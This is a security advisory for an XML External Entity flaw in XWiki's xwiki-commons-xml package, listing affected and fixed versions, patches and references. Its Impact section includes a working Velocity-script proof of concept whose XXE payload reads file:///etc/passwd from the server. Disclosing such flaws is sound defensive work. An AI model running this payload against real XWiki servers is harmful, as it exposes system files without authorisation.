GHSA-m2r5-4w96-qxg5
Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Maven | org.xwiki.commons:xwiki-commons-xml | >= 2.7, < 12.10.10 | 12.10.10 |
| Maven | org.xwiki.commons:xwiki-commons-xml | >= 13.0.0, < 13.4.4 | 13.4.4 |
| Maven | org.xwiki.commons:xwiki-commons-xml | >= 13.5-rc-1, < 13.8-rc-1 | 13.8-rc-1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.
For example:
```
{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}
```
### Patches
The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.
### Workarounds
There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.
### References
https://jira.xwiki.org/browse/XWIKI-18946
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki](https://jira.xwiki.org)
* Email us at [XWiki Security mailing-list](mailto:[email protected])
References
External links from the advisory. They lead to third-party sites.